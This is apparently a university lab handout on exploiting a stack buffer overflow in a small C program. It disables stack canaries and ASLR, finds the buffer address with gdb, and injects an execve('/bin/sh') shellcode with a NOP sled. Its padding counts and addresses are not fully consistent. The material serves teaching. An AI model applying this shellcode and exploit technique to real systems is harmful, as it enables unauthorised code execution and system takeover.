SOPS – Buffer overflow and ASLR

1. Introduction

In today's laboratory we will see how we can obtain a shell exploiting a buffer overflow vulnerability. A code which is vulnerable can be exploited to make it run malicious code. This method of attack is quite old, but still widely used, but because it is old operating systems and compilers added methods to prevent attack execution, protecting executables of possible exploitation of badly written code.

Let's take a look at the following vulnerable code:

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void func(char *string)
{
        char buffer[128];
        strcpy(buffer, string);
}
int main(int argc, char *argv[])
{
        func(argv[1]);
        return 0;
}
```

We will want to compile it for 32-bit architecture to be easier to prove the attack. To do this we will have to run the following command:

gcc -g -m32 -o ex ex.c where in ex.c we previously saved the code from above.

If you are on x64 architecture your gcc might not have -m32 option, so to have it you have to install the following packages:

sudo apt-get install libc6-dev-i386 gcc-multilib

2. Buffer overflow

If you look at the code, the only thing the code is doing is to call a function with the argument we pass to the program. This function copies the string passed as an argument in a local variable defined on the stack of the function. Because of the way in which we copy the string (without checking the size) we may get a buffer overflow if we pass as an argument a string bigger than 128 characters. Lets remember how the stack looks like when we call a function:

name-parameters

return address

old base pointer(ebp)

buffer

…..

So, if we put in the buffer more than 128 characters we will overwrite the stack and putting enough extra characters (another we will be able to overwrite the return address, making the program to jump to a different address where we can take over the flow of program execution.

To be able to pass non printable characters as an argument to an executable we will need to install python – to do so you have to run sudo apt-get install python(please install python2 cause python3 will transform nop instruction \x90 in an unicode character and will not work. If we ran this command:

./ex $(python -c 'print (128*"A")') we will ran ./ex AAAAA…A (128 of A).

Practic: Now try to run the executable with a buffer with which you try to overwrite the return address. See what happens.

As we were saying above there are some stack protection mechanism and on the stack are added by the compiler canaries before the return address, if those values are overwriten the program will crash considering the program might be exploited. To disable this protection when we compile the program we have to disable stack protection, so we will compile the executable with this command:

gcc -g -m32 -fno-stack-protector -o ex ex.c.

Practic: Now rerun the program with the buffer you used before and see what happens.

3. Preparing the attack

We will try to create the following attack – in the buffer we will try to put executable code which will start a shell and we will try to overwrite the return code with the address of our buffer. ASLR – Address Space Layout Randomisation is another protection mechanism which involves randomly positioning the base address of an executable and the position of libraries, heap, and stack, in a process's address space. This way the variables will be loaded at every run at different address. To have a constant address for our buffer we want to exploit we will disable ASLR using:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

To find the buffer address we will attach to the program from gdb. First modify main as following:

```
int main(int argc, char *argv[])
{
  int  n = 0;
  while (n < 10);
  func(argv[1]);
  return 0;
}
```

You can see we added an infinite loop to allow us to have time to attach with gdb to the program. Run the program with a command like this:

```
./ex $(python2 -c 'print (9*"\x90"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+102*"A"+"\x20\xd1\xff\xff"+"\x20\xd0\xff\xff"+8*"A")')
```

Now in a different console type:

ps -e | grep ex – this way you will find the pid of ex process, lets say it is 2942.

Start gdb:

gdb

once gdb started type attach 2942(replace this with the pid you obtained)

now you are attached to the process. To jump over that while you have to set n greater than 10 and you can do that with

set variable n =11

Put a breakpoint in function func

b func

and let the program continue till it hits the breakpoint

continue

Once it hits the breakpoint you want to find out from where starts the stack for your function and the buffer address. You can do that with

p &buffer – will display the buffer address

info frame will display:

gdb) info frame

Stack level 0, frame at 0xffffd0b0:

eip = 0x5655636c in func (ex.c:72); saved eip = 0x565563df

called by frame at 0xffffd0f0

source language c.

Arglist at 0xffffd01c, args:

string=0xffffd32c "\220\061\300Ph//shh/bin\211\343P\211\342S\211\341\260\v", 'A' <repeats 110 times>, "0\321\377\377\060\320\377\377AAAAAAAA"

Locals at 0xffffd01c, Previous frame's sp is 0xffffd0b0

Saved registers:

ebx at 0xffffd0a4, ebp at 0xffffd0a8, eip at 0xffffd0ac

In my case the buffer address is 0xffffd020 and the stack address is 0xffffd0b0 (Stack level 0, frame at 0xffffd0b0:)

So between my buffer address and the start of the stack for function func we have b0-20 = 148. Most probably the stack layout will be like this

some register

return address

previously saved ebp

other 8 octets

our buffer

so to overwrite return address we have to put in our buffer 128+8+4+the return address.

Also we want to override previously saved ebp with a valid address, something still on the stack ideally near our buffer – for example having our buffer at 0xffffd020, previously saved ebp can be 0xffffd120.

So the string should be something like that

128+8+0xffffd120+0xffffd020. Now in our buffer we want to put executable code, like the shell

On my computer the address for the buffer is 0xffffd04c. So we will want to overwrite the return address with this value and in our buffer we will want to put a shell code which will start a shell.

Here is a code which starts a shell:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80

Practic: Try to see that the shell code is working. Define a string which contains the shellcode above. Define a pointer function and run it.

Hints:

```
typedef int(*function) ();

…..

char lala[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

function func = (function)lala;

func();
```

To make sure the alignment is correct we can add before shell code some nop instructions, a nop instruction is an instruction which does nothing, just wastes a CPU cycle. The code for a nop instruction is 0x90.

Our buffer will be:

24 nop instructions

25 characters the shell code

Some 87 random garbage characters

Old ebp

Return address – which is our buffer address

And the return address which will be our buffer address. So, the command in my case should look like this:

```
./ex $(python -c 'print (24*"\x90"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+87*"A"+”\x20\xd1\xff\xff”+"\x20\xd0\xff\xff")')
```

Please see at the end that because of endianness representation I write the buffer address which was 0xffffd020 as \x20\xd0\xff\xff.

Practic: Find the buffer needed on your computer to run the attack and obtain the shellcode.